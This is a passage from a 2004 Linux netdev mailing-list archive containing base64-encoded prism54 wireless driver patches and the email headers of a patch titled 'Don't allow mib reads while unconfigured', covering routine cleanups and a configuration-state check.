ZGV2LT5uYW1lLCBmcmFnX2xlbiwgZnJhZ19sZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAg ZnJhZ19sZW4gPSBNR01UX0ZSQU1FX1NJWkU7CiAgICAgICAgICAgICAgICAgfQogCkBAIC0zNDQs MjMgKzM0MiwyNSBAQAogCiAJCS8qIGRpc3BsYXkgdGhlIGJ1ZmZlciBjb250ZW50cyBmb3IgZGVi dWdnaW5nICovCiAJCWRpc3BsYXlfYnVmZmVyKChjaGFyICopIGhlYWRlciwgUElNRk9SX0hFQURF Ul9TSVpFKTsKLQkJZGlzcGxheV9idWZmZXIoKGNoYXIgKikgaGVhZGVyICsgUElNRk9SX0hFQURF Ul9TSVpFLCBoZWFkZXItPmxlbmd0aCk7CisJCWRpc3BsYXlfYnVmZmVyKChjaGFyICopIGhlYWRl ciArIFBJTUZPUl9IRUFERVJfU0laRSwKKwkJCSAgICAgICBoZWFkZXItPmxlbmd0aCk7CiAjZW5k aWYKIAogCQkvKiBub2JvZHkgc2VuZHMgdGhlc2UgKi8KIAkJaWYgKGhlYWRlci0+ZmxhZ3MgJiBQ SU1GT1JfRkxBR19BUFBMSUNfT1JJR0lOKSB7Ci0JCQlwcmludGsoS0VSTl9ERUJVRyAiJXM6IGVy cmFudCBQSU1GT1IgYXBwbGljYXRpb24gZnJhbWVcbiIsCisJCQlwcmludGsoS0VSTl9ERUJVRwor CQkJICAgICAgICIlczogZXJyYW50IFBJTUZPUiBhcHBsaWNhdGlvbiBmcmFtZVxuIiwKIAkJCSAg ICAgICBuZGV2LT5uYW1lKTsKIAkJCWNvbnRpbnVlOwogCQl9CiAKIAkJLyogRGV0ZXJtaW5lIGZy YW1lIHNpemUsIHNraXBwaW5nIE9JRF9JTkxfVFVOTkVMIGhlYWRlcnMuICovCiAJCXNpemUgPSBQ SU1GT1JfSEVBREVSX1NJWkUgKyBoZWFkZXItPmxlbmd0aDsKLQkJZnJhbWUgPSBrbWFsbG9jKHNp emVvZihzdHJ1Y3QgaXNscGNpX21nbXRmcmFtZSkgKyBzaXplLAorCQlmcmFtZSA9IGttYWxsb2Mo c2l6ZW9mIChzdHJ1Y3QgaXNscGNpX21nbXRmcmFtZSkgKyBzaXplLAogCQkJCUdGUF9BVE9NSUMp OwogCQlpZiAoIWZyYW1lKSB7Ci0JCQlwcmludGsoS0VSTl9XQVJOSU5HICIlczogT3V0IG9mIG1l bW9yeSwgY2Fubm90IGhhbmRsZSBvaWQgMHglMDh4XG4iLAotCisJCQlwcmludGsoS0VSTl9XQVJO SU5HCisJCQkgICAgICAgIiVzOiBPdXQgb2YgbWVtb3J5LCBjYW5ub3QgaGFuZGxlIG9pZCAweCUw OHhcbiIsCiAJCQkgICAgICAgbmRldi0+bmFtZSwgaGVhZGVyLT5vaWQpOwogCQkJY29udGludWU7 ICAgICAgICAKIAkJfQpAQCAtMzkyLDE0ICszOTIsMTMgQEAKIAkJCS8qIFNpZ25hbCB0aGUgb25l IHdhaXRpbmcgcHJvY2VzcyB0aGF0IGEgcmVzcG9uc2UKIAkJCSAqIGhhcyBiZWVuIHJlY2VpdmVk LiAqLwogCQkJaWYgKChmcmFtZSA9IHhjaGcoJnByaXYtPm1nbXRfcmVjZWl2ZWQsIGZyYW1lKSkg IT0gTlVMTCkgewotCQkJCXByaW50ayhLRVJOX1dBUk5JTkcgIiVzOiBtZ210IHJlc3BvbnNlIG5v dCBjb2xsZWN0ZWRcbiIsCisJCQkJcHJpbnRrKEtFUk5fV0FSTklORworCQkJCSAgICAgICAiJXM6 IG1nbXQgcmVzcG9uc2Ugbm90IGNvbGxlY3RlZFxuIiwKIAkJCQkgICAgICAgbmRldi0+bmFtZSk7 CiAJCQkJa2ZyZWUoZnJhbWUpOwogCQkJfQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAjaWYgVkVSQk9TRSA+IFNIT1dfRVJST1JfTUVTU0FHRVMKLQkJCURFQlVHKFNIT1dfVFJBQ0lO RywKLQkJCSAgICAgICJXYWtlIHVwIE1nbXQgUXVldWVcbiIpOworCQkJREVCVUcoU0hPV19UUkFD SU5HLCAiV2FrZSB1cCBNZ210IFF1ZXVlXG4iKTsKICNlbmRpZgogCQkJd2FrZV91cCgmcHJpdi0+ bWdtdF93cXVldWUpOwogCQl9CkBAIC00MzEsNyArNDMwLDcgQEAKIAljdXJyX2ZyYWcgPSBsZTMy X3RvX2NwdShjYi0+ZGV2aWNlX2N1cnJfZnJhZ1tJU0wzOFhYX0NCX1RYX01HTVRRXSk7IAogCWJh cnJpZXIoKTsKIAotCWZvciAoIDsgcHJpdi0+aW5kZXhfbWdtdF90eCA8IGN1cnJfZnJhZzsgcHJp di0+aW5kZXhfbWdtdF90eCsrKSB7CisJZm9yICg7IHByaXYtPmluZGV4X21nbXRfdHggPCBjdXJy X2ZyYWc7IHByaXYtPmluZGV4X21nbXRfdHgrKykgewogCQlpbnQgaW5kZXggPSBwcml2LT5pbmRl eF9tZ210X3R4ICUgSVNMMzhYWF9DQl9NR01UX1FTSVpFOwogCQlzdHJ1Y3QgaXNscGNpX21lbWJ1 ZiAqYnVmID0gJnByaXYtPm1nbXRfdHhbaW5kZXhdOwogCQlwY2lfdW5tYXBfc2luZ2xlKHByaXYt PnBkZXYsIGJ1Zi0+cGNpX2FkZHIsIGJ1Zi0+c2l6ZSwKQEAgLTQ2Myw3ICs0NjIsNyBAQAogCiAJ cHJlcGFyZV90b193YWl0KCZwcml2LT5tZ210X3dxdWV1ZSwgJndhaXQsIFRBU0tfVU5JTlRFUlJV UFRJQkxFKTsKIAllcnIgPSBpc2xwY2lfbWd0X3RyYW5zbWl0KG5kZXYsIG9wZXJhdGlvbiwgb2lk LCBzZW5kZGF0YSwgc2VuZGxlbik7Ci0JaWYoZXJyKQorCWlmIChlcnIpCiAJCWdvdG8gb3V0Owog CiAJZXJyID0gLUVUSU1FRE9VVDsKQEAgLTQ3NCwxMiArNDczLDIyIEBACiAJCXRpbWVsZWZ0ID0g c2NoZWR1bGVfdGltZW91dCh3YWl0X2N5Y2xlX2ppZmZpZXMpOwogCQlmcmFtZSA9IHhjaGcoJnBy aXYtPm1nbXRfcmVjZWl2ZWQsIE5VTEwpOwogCQlpZiAoZnJhbWUpIHsKKwkJCWlmIChmcmFtZS0+ aGVhZGVyLT5vaWQgPT0gb2lkKSB7CiAJCQkqcmVjdmZyYW1lID0gZnJhbWU7CiAJCQllcnIgPSAw OwogCQkJZ290byBvdXQ7CisJCQl9IGVsc2UgeworCQkJCXByaW50ayhLRVJOX0RFQlVHCisJCQkJ ICAgICAgICIlczogZXhwZWN0aW5nIG9pZCAweCV4LCByZWNlaXZlZCAweCV4LlxuIiwKKwkJCQkg ICAgICAgbmRldi0+bmFtZSwgKHVuc2lnbmVkIGludCkgb2lkLAorCQkJCSAgICAgICBmcmFtZS0+ aGVhZGVyLT5vaWQpOworCQkJCWtmcmVlKGZyYW1lKTsKKwkJCQlmcmFtZSA9IE5VTEw7CiAJCX0K LQkJaWYodGltZWxlZnQgPT0gMCkgewotCQkJcHJpbnRrKEtFUk5fREVCVUcgIiVzOiB0aW1lb3V0 IHdhaXRpbmcgZm9yIG1nbXQgcmVzcG9uc2UgJWx1LCB0cmlnZ2luZyBkZXZpY2VcbiIsCisJCX0K KwkJaWYgKHRpbWVsZWZ0ID09IDApIHsKKwkJCXByaW50ayhLRVJOX0RFQlVHCisJCQkgICAgICAg IiVzOiB0aW1lb3V0IHdhaXRpbmcgZm9yIG1nbXQgcmVzcG9uc2UgJWx1LCB0cmlnZ2luZyBkZXZp Y2VcbiIsCiAJCQkgICAgICAgbmRldi0+bmFtZSwgdGltZW91dF9sZWZ0KTsKIAkJCWlzbHBjaV90 cmlnZ2VyKHByaXYpOwogCQl9CmRpZmYgLU5hdXJFYiBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0 L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5jIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dp cmVsZXNzL3ByaXNtNTQvb2lkX21ndC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dp cmVsZXNzL3ByaXNtNTQvb2lkX21ndC5jCTIwMDQtMDUtMjggMTQ6NDQ6MjQuODg4Mjg5Njg4ICsw MjAwCisrKyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9t Z3QuYwkyMDA0LTA1LTI4IDE1OjA4OjAwLjY4ODA1NTQwOCArMDIwMApAQCAtNDAsMTcgKzQwLDEz IEBACiAJaWYgKChmID49IDI0MTIpICYmIChmIDw9IDI0ODQpKSB7CiAJCXdoaWxlICgoYyA8IDE0 KSAmJiAoZiAhPSBmcmVxdWVuY3lfbGlzdF9iZ1tjXSkpCiAJCQljKys7Ci0JCWlmIChjID49IDE0 KQotCQkJcmV0dXJuIDA7CisJCXJldHVybiAoYyA+PSAxNCkgPyAwIDogKytjOwogCX0gZWxzZSBp ZiAoKGYgPj0gKGludCkgNTE3MCkgJiYgKGYgPD0gKGludCkgNTMyMCkpIHsKIAkJd2hpbGUgKChj IDwgMTIpICYmIChmICE9IGZyZXF1ZW5jeV9saXN0X2FbY10pKQogCQkJYysrOwotCQlpZiAoYyA+ PSAxMikKLQkJCXJldHVybiAwOworCQlyZXR1cm4gKGMgPj0gMTIpID8gMCA6IChjICsgMzcpOwog CX0gZWxzZQogCQlyZXR1cm4gMDsKLQotCXJldHVybiArK2M7CiB9CiAKICNkZWZpbmUgT0lEX1NU UlVDVChuYW1lLG9pZCxzLHQpIFtuYW1lXSA9IHtvaWQsIDAsIHNpemVvZihzKSwgdH0K --=====================_50475319==_-- From margitsw@t-online.de Sun May 30 13:09:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:09:46 -0700 (PDT) Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UK9fgi002282 for ; Sun, 30 May 2004 13:09:42 -0700 Received: from fwd04.aul.t-online.de by mailout05.sul.t-online.com with smtp id 1BUWcm-00085I-01; Sun, 30 May 2004 22:09:40 +0200 Received: from margit.t-online.de (bdDOvqZdwexTVCUH-71pp9UtH0ybrj9Ojhpjv5u-I4yYktvccF9JcX@[80.128.220.231]) by fwd04.sul.t-online.com with esmtp id 1BUWcY-1tkEOO0; Sun, 30 May 2004 22:09:26 +0200 Message-Id: <5.1.0.14.2.20040530214842.00b1a528@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 21:59:07 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 11/17 linux-2.6.7-rc2] prism54: Don't allow mib reads while unconfigured Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50488989==_" X-Seen: false X-ID: bdDOvqZdwexTVCUH-71pp9UtH0ybrj9Ojhpjv5u-I4yYktvccF9JcX X-archive-position: 5476 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50488989==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-04-17 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Cleanup. Prevented real oid reading before the card is configured with mib values (might be related to bug #53). --=====================_50488989==_ Content-Type: application/octet-stream; name="11-prevent-oid-read-before-config.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="11-prevent-oid-read-before-config.patch" ZGlmZiAtTmF1ckViQiBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNsX2lvY3RsLmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xfaW9jdGwuYwotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0 L2lzbF9pb2N0bC5jCTIwMDQtMDUtMjggMTU6MDk6MDYuMjE5MDkzMTc2ICswMjAwCisrKyBsaW51 eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF9pb2N0bC5jCTIwMDQt MDUtMjggMTU6MTI6NDkuMzYzMTcwMTIwICswMjAwCkBAIC0xNzMsMTQgKzE3Myw2IEBACiAJcHJp c201NF9taWJfbW9kZV9oZWxwZXIocHJpdiwgaW5pdF9tb2RlKTsKIH0KIAotdm9pZAotcHJpc201 NF9taWJfaW5pdF93b3JrKGlzbHBjaV9wcml2YXRlICpwcml2KQotewotCWRvd25fd3JpdGUoJnBy aXYtPm1pYl9zZW0pOwotCW1ndF9jb21taXQocHJpdik7Ci0JdXBfd3JpdGUoJnByaXYtPm1pYl9z ZW0pOwotfQotCiAvKiB0aGlzIHdpbGwgYmUgZXhlY3V0ZWQgb3V0c2lkZSBvZiBhdG9taWMgY29u dGV4dCB0aGFua3MgdG8KICAqIHNjaGVkdWxlX3dvcmsoKSwgdGh1cyB3ZSBjYW4gYXMgd2VsbCB1 c2Ugc2xlZXBpbmcgc2VtYXBob3JlCiAgKiBsb2NraW5nICovCkBAIC0xOTUsMTMgKzE4Nyw2IEBA CiAJaWYgKGRvd25faW50ZXJydXB0aWJsZSgmcHJpdi0+c3RhdHNfc2VtKSkKIAkJcmV0dXJuOwog Ci0vKiBtaXNzaW5nIHN0YXRzIGFyZSA6Ci0gKiAgaXdzdGF0aXN0aWNzLnF1YWwudXBkYXRlZAot ICogIGl3c3RhdGlzdGljcy5kaXNjYXJkLm53aWQJICAgIAotICogIGl3c3RhdGlzdGljcy5kaXNj YXJkLmZyYWdtZW50CSAgICAKLSAqICBpd3N0YXRpc3RpY3MuZGlzY2FyZC5taXNjCi0gKiAgaXdz dGF0aXN0aWNzLm1pc3MuYmVhY29uICovCi0KIC8qIE5vaXNlIGZsb29yLgogICogSSdtIG5vdCBz dXJlIGlmIHRoZSB1bml0IGlzIGRCbS4KICAqIE5vdGUgOiBJZiB3ZSBhcmUgbm90IGNvbm5lY3Rl ZCwgdGhpcyB2YWx1ZSBzZWVtcyB0byBiZSBpcnJlbGV2YW50LiAqLwpAQCAtNDI1LDcgKzQxMCw2 IEBACiAJLyogYnkgZGVmYXVsdCAgdGhlIGNhcmQgc2V0cyB0aGlzIHRvIDIwLiAqLwogCXNlbnMg PSB2d3JxLT5kaXNhYmxlZCA/IDIwIDogdndycS0+dmFsdWU7CiAKLQkvKiBzZXQgdGhlIGVkIHRo cmVzaG9sZC4gKi8KIAlyZXR1cm4gbWd0X3NldF9yZXF1ZXN0KHByaXYsIERPVDExX09JRF9FRFRI UkVTSE9MRCwgMCwgJnNlbnMpOwogfQogCkBAIC03MTIsNyArNjkyLDcgQEAKIAogCS8qIEFzayB0 aGUgZGV2aWNlIGZvciBhIGxpc3Qgb2Yga25vd24gYnNzLiBXZSBjYW4gcmVwb3J0IGF0IG1vc3QK IAkgKiBJV19NQVhfQVA9NjQgdG8gdGhlIHJhbmdlIHN0cnVjdC4gQnV0IHRoZSBkZXZpY2Ugd29u J3QgcmVwcG9ydCBhbnl0aGluZwotCSAqIGlmIHlvdSBjaGFuZ2UgdGhlIHZhbHVlIG9mIE1BWEJT Uz0yNC4gQW55d2F5IDI0IEFQIEl0IGlzIHByb2JhYmx5IGVub3VnaC4KKwkgKiBpZiB5b3UgY2hh bmdlIHRoZSB2YWx1ZSBvZiBJV01BWF9CU1M9MjQuCiAJICovCiAJcnZhbHVlIHw9IG1ndF9nZXRf cmVxdWVzdChwcml2LCBET1QxMV9PSURfQlNTTElTVCwgMCwgTlVMTCwgJnIpOwogCWJzc2xpc3Qg PSByLnB0cjsKQEAgLTk2OSw4ICs5NDksNiBAQAogICogc21hbGwgZnJhbWUgPD0+ICBzbWFsbGVy IHRoYW4gdGhlIHJ0cyB0aHJlc2hvbGQKICAqIFRoaXMgaXMgbm90IHJlYWxseSB0aGUgYmVoYXZp b3IgZXhwZWN0ZWQgYnkgdGhlIHdpcmVsZXNzIHRvb2wgYnV0IGl0IHNlZW1zCiAgKiB0byBiZSBh IGNvbW1vbiBiZWhhdmlvciBpbiBvdGhlciBkcml2ZXJzLgotICogCi0gKiBJdCBzZWVtcyB0aGF0 IHBsYXlpbmcgd2l0aCB0aGlzIHRlbmRzIHRvIGhhbmcgdGhlIGNhcmQgLT4gRElTQUJMRUQKICAq LwogCiBzdGF0aWMgaW50CkBAIC0xMDAyLDE0ICs5ODAsMTMgQEAKIAkJbGlmZXRpbWUgPSB2d3Jx LT52YWx1ZSAvIDEwMjQ7CiAKIAkvKiBub3cgc2V0IHdoYXQgaXMgcmVxdWVzdGVkICovCi0KLQlp ZiAoc2xpbWl0ICE9IDApCisJaWYgKHNsaW1pdCkKIAkJcnZhbHVlID0KIAkJICAgIG1ndF9zZXRf cmVxdWVzdChwcml2LCBET1QxMV9PSURfU0hPUlRSRVRSSUVTLCAwLCAmc2xpbWl0KTsKLQlpZiAo bGxpbWl0ICE9IDApCisJaWYgKGxsaW1pdCkKIAkJcnZhbHVlIHw9CiAJCSAgICBtZ3Rfc2V0X3Jl cXVlc3QocHJpdiwgRE9UMTFfT0lEX0xPTkdSRVRSSUVTLCAwLCAmbGxpbWl0KTsKLQlpZiAobGlm ZXRpbWUgIT0gMCkKKwlpZiAobGlmZXRpbWUpCiAJCXJ2YWx1ZSB8PQogCQkgICAgbWd0X3NldF9y ZXF1ZXN0KHByaXYsIERPVDExX09JRF9NQVhUWExJRkVUSU1FLCAwLAogCQkJCSAgICAmbGlmZXRp bWUpOwpAQCAtMTI2MSwxMSArMTIzNiw2IEBACiBwcmlzbTU0X3NldF91MzIoc3RydWN0IG5ldF9k ZXZpY2UgKm5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmluZm8sCiAJCSAgIF9fdTMyICog dXdycSwgY2hhciAqZXh0cmEpCiB7Ci0JLyoKLQkgICB1MzIgKmkgPSAoaW50ICopIGV4dHJhOwot CSAgIGludCBwYXJhbSA9ICppOwotCSAgIGludCB1ID0gKihpICsgMSk7Ci0JICovCiAJdTMyIG9p ZCA9IHV3cnFbMF0sIHUgPSB1d3JxWzFdOwogCiAJcmV0dXJuIG1ndF9zZXRfcmVxdWVzdCgoaXNs cGNpX3ByaXZhdGUgKikgbmRldi0+cHJpdiwgb2lkLCAwLCAmdSk7CkBAIC0xODM2LDkgKzE4MDYs NyBAQAogCQkJCSAgICAgMCk7CiAJCWJyZWFrOwogCi0JCS8qIE5vdGUgOiB0aGUgZm9sbG93aW5n IHNob3VsZCBuZXZlciBoYXBwZW4gc2luY2Ugd2UgZG9uJ3QgcnVuIHRoZSBjYXJkIGluCi0JCSAq IGV4dGVuZGVkIG1vZGUuCi0JCSAqIE5vdGUgOiAibWxtZSIgaXMgYWN0dWFsbHkgYSAic3RydWN0 IG9ial9tbG1lZXggKiIgaGVyZSwgYnV0IHRoaXMKKwkJLyogTm90ZSA6ICJtbG1lIiBpcyBhY3R1 YWxseSBhICJzdHJ1Y3Qgb2JqX21sbWVleCAqIiBoZXJlLCBidXQgdGhpcwogCQkgKiBpcyBiYWNr d2FyZCBjb21wYXRpYmxlIGxheW91dC13aXNlIHdpdGggInN0cnVjdCBvYmpfbWxtZSIuCiAJCSAq LwogCmRpZmYgLU5hdXJFYkIgbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlz bTU0L2lzbF9pb2N0bC5oIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvaXNsX2lvY3RsLmgKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJp c201NC9pc2xfaW9jdGwuaAkyMDA0LTA1LTI4IDEzOjUzOjI5LjAwMDAwMDAwMCArMDIwMAorKysg bGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xfaW9jdGwuaAky MDA0LTA1LTI4IDE1OjEyOjQ5LjM2NTE2OTgxNiArMDIwMApAQCAtMzAsNyArMzAsNiBAQAogI2Rl ZmluZSBTVVBQT1JURURfV0lSRUxFU1NfRVhUICAgICAgICAgICAgICAgICAgMTYKIAogdm9pZCBw cmlzbTU0X21pYl9pbml0KGlzbHBjaV9wcml2YXRlICopOwotdm9pZCBwcmlzbTU0X21pYl9pbml0 X3dvcmsoaXNscGNpX3ByaXZhdGUgKik7CiAKIHN0cnVjdCBpd19zdGF0aXN0aWNzICpwcmlzbTU0 X2dldF93aXJlbGVzc19zdGF0cyhzdHJ1Y3QgbmV0X2RldmljZSAqKTsKIHZvaWQgcHJpc201NF91 cGRhdGVfc3RhdHMoaXNscGNpX3ByaXZhdGUgKik7CmRpZmYgLU5hdXJFYkIgbGludXgtMi42LjZj dC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9kZXYuYyBsaW51eC0yLjYuNi0w MS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9kZXYuYwotLS0gbGludXgtMi42 LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9kZXYuYwkyMDA0LTA1LTI4 IDE1OjA5OjA2LjIyMTA5Mjg3MiArMDIwMAorKysgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQv d2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmMJMjAwNC0wNS0yOCAxNToxMjo0OS4zNjcxNjk1 MTIgKzAyMDAKQEAgLTM4OCw3ICszODgsOSBAQAogCSAqIHRoZSBJUlEgbGluZSB1bnRpbCB3ZSBr bm93IGZvciBzdXJlIHRoZSByZXNldCB3ZW50IHRocm91Z2ggKi8KIAlpc2wzOHh4X2VuYWJsZV9j b21tb25faW50ZXJydXB0cyhwcml2LT5kZXZpY2VfYmFzZSk7CiAKLQlwcmlzbTU0X21pYl9pbml0 X3dvcmsocHJpdik7CisJZG93bl93cml0ZSgmcHJpdi0+bWliX3NlbSk7CisJbWd0X2NvbW1pdChw cml2KTsKKwl1cF93cml0ZSgmcHJpdi0+bWliX3NlbSk7CiAKIAlpc2xwY2lfc2V0X3N0YXRlKHBy aXYsIFBSVl9TVEFURV9SRUFEWSk7CiAKZGlmZiAtTmF1ckViQiBsaW51eC0yLjYuNmN0L2RyaXZl cnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX21ndC5jIGxpbnV4LTIuNi42LTAxL2RyaXZl cnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX21ndC5jCi0tLSBsaW51eC0yLjYuNmN0L2Ry aXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX21ndC5jCTIwMDQtMDUtMjggMTU6MDk6 MDYuMjI0MDkyNDE2ICswMjAwCisrKyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVz cy9wcmlzbTU0L2lzbHBjaV9tZ3QuYwkyMDA0LTA1LTI4IDE1OjEyOjQ5LjM3MDE2OTA1NiArMDIw MApAQCAtMzEyLDggKzMxMiw5IEBACiAgICAgICAgICAgICAgICAgICogc2l6ZSBvZiBhIHJlY2Vp dmUgYnVmZmVyLiAgVGh1cywgaWYgdGhpcyBjaGVjawogICAgICAgICAgICAgICAgICAqIHRyaWdn ZXJzLCB3ZSBsaWtlbHkgaGF2ZSBrZXJuZWwgaGVhcCBjb3JydXB0aW9uLiAqLwogICAgICAgICAg ICAgICAgIGlmIChmcmFnX2xlbiA+IE1HTVRfRlJBTUVfU0laRSkgewotICAgICAgICAgICAgICAg ICAgICAgICAgcHJpbnRrKEtFUk5fV0FSTklORyAiJXM6IEJvZ3VzIHBhY2tldCBzaXplIG9mICVk ICglI3gpLlwKLW4iLCBuZGV2LT5uYW1lLCBmcmFnX2xlbiwgZnJhZ19sZW4pOworCQkJcHJpbnRr KEtFUk5fV0FSTklORworCQkJCSIlczogQm9ndXMgcGFja2V0IHNpemUgb2YgJWQgKCUjeCkuXG4i LAorCQkJCW5kZXYtPm5hbWUsIGZyYWdfbGVuLCBmcmFnX2xlbik7CiAgICAgICAgICAgICAgICAg ICAgICAgICBmcmFnX2xlbiA9IE1HTVRfRlJBTUVfU0laRTsKICAgICAgICAgICAgICAgICB9CiAK QEAgLTQ4OCw3ICs0ODksOCBAQAogCQl9CiAJCWlmICh0aW1lbGVmdCA9PSAwKSB7CiAJCQlwcmlu dGsoS0VSTl9ERUJVRwotCQkJICAgICAgICIlczogdGltZW91dCB3YWl0aW5nIGZvciBtZ210IHJl c3BvbnNlICVsdSwgdHJpZ2dpbmcgZGV2aWNlXG4iLAorCQkJCSIlczogdGltZW91dCB3YWl0aW5n IGZvciBtZ210IHJlc3BvbnNlICVsdSwgIgorCQkJCSJ0cmlnZ2VyaW5nIGRldmljZVxuIiwKIAkJ CSAgICAgICBuZGV2LT5uYW1lLCB0aW1lb3V0X2xlZnQpOwogCQkJaXNscGNpX3RyaWdnZXIocHJp dik7CiAJCX0KZGlmZiAtTmF1ckViQiBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNz L3ByaXNtNTQvb2lkX21ndC5jIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3By aXNtNTQvb2lkX21ndC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3By aXNtNTQvb2lkX21ndC5jCTIwMDQtMDUtMjggMTU6MDk6MDYuMjI4MDkxODA4ICswMjAwCisrKyBs aW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuYwkyMDA0 LTA1LTI4IDE1OjEyOjQ5LjM3MjE2ODc1MiArMDIwMApAQCAtNDQ2LDcgKzQ0Niw3IEBACiAJaWYg KGNhY2hlKQogCQlkb3duX3dyaXRlKCZwcml2LT5taWJfc2VtKTsKIAotCWlmIChpc2xwY2lfZ2V0 X3N0YXRlKHByaXYpID49IFBSVl9TVEFURV9JTklUKSB7CisJaWYgKGlzbHBjaV9nZXRfc3RhdGUo cHJpdikgPj0gUFJWX1NUQVRFX1JFQURZKSB7CiAJCXJldCA9IGlzbHBjaV9tZ3RfdHJhbnNhY3Rp b24ocHJpdi0+bmRldiwgUElNRk9SX09QX1NFVCwgb2lkLAogCQkJCQkgICAgIF9kYXRhLCBkbGVu LCAmcmVzcG9uc2UpOwogCQlpZiAoIXJldCkgewpAQCAtNTAwLDcgKzUwMCw3IEBACiAJaWYgKGNh Y2hlKQogCQlkb3duX3JlYWQoJnByaXYtPm1pYl9zZW0pOwogCi0JaWYgKGlzbHBjaV9nZXRfc3Rh dGUocHJpdikgPj0gUFJWX1NUQVRFX0lOSVQpIHsKKwlpZiAoaXNscGNpX2dldF9zdGF0ZShwcml2 KSA+PSBQUlZfU1RBVEVfUkVBRFkpIHsKIAkJcmV0ID0gaXNscGNpX21ndF90cmFuc2FjdGlvbihw cml2LT5uZGV2LCBQSU1GT1JfT1BfR0VULAogCQkJCQkgICAgIG9pZCwgZGF0YSwgZGxlbiwgJnJl c3BvbnNlKTsKIAkJaWYgKHJldCB8fCAhcmVzcG9uc2UgfHwKQEAgLTUzOSw3ICs1MzksNyBAQAog CWlmIChyZXNsZW4gPiBpc2xfb2lkW25dLnNpemUpCiAJCXByaW50ayhLRVJOX0RFQlVHCiAJCSAg ICAgICAibWd0X2dldF9yZXF1ZXN0KDB4JXgpOiByZWNlaXZlZCBkYXRhIGxlbmd0aCB3YXMgYmln Z2VyICIKLQkJICAgICAgICJ0aGFuIGV4cGVjdGVkICglZCA+ICVkKS4gTWVtb3J5IGlzIHByb2Jh Ymx5IGNvcnJ1cHRlZC4uLiAiLAorCQkgICAgICAgInRoYW4gZXhwZWN0ZWQgKCVkID4gJWQpLiBN ZW1vcnkgaXMgcHJvYmFibHkgY29ycnVwdGVkLi4uIiwKIAkJICAgICAgIG9pZCwgcmVzbGVuLCBp c2xfb2lkW25dLnNpemUpOwogCQogCXJldHVybiByZXQ7CkBAIC02MjIsMTIgKzYyMiwzMiBAQAog CU9JRF9JTkxfT1VUUFVUUE9XRVIsCiB9OwogCisvKiB1cGRhdGUgdGhlIE1BQyBhZGRyLiAqLwor c3RhdGljIGludAorbWd0X3VwZGF0ZV9hZGRyKGlzbHBjaV9wcml2YXRlICpwcml2KQoreworCXN0 cnVjdCBpc2xwY2lfbWdtdGZyYW1lICpyZXM7CisJaW50IHJldDsKKworCXJldCA9IGlzbHBjaV9t Z3RfdHJhbnNhY3Rpb24ocHJpdi0+bmRldiwgUElNRk9SX09QX0dFVCwKKwkJCQkgICAgIGlzbF9v aWRbR0VOX09JRF9NQUNBRERSRVNTXS5vaWQsIE5VTEwsCisJCQkJICAgICBpc2xfb2lkW0dFTl9P SURfTUFDQUREUkVTU10uc2l6ZSwgJnJlcyk7CisKKwlpZiAoKHJldCA9PSAwKSAmJiByZXMgJiYg KHJlcy0+aGVhZGVyLT5vcGVyYXRpb24gIT0gUElNRk9SX09QX0VSUk9SKSkKKwkJbWVtY3B5KHBy aXYtPm5kZXYtPmRldl9hZGRyLCByZXMtPmRhdGEsIDYpOworCWVsc2UKKwkJcmV0ID0gLUVJTzsK 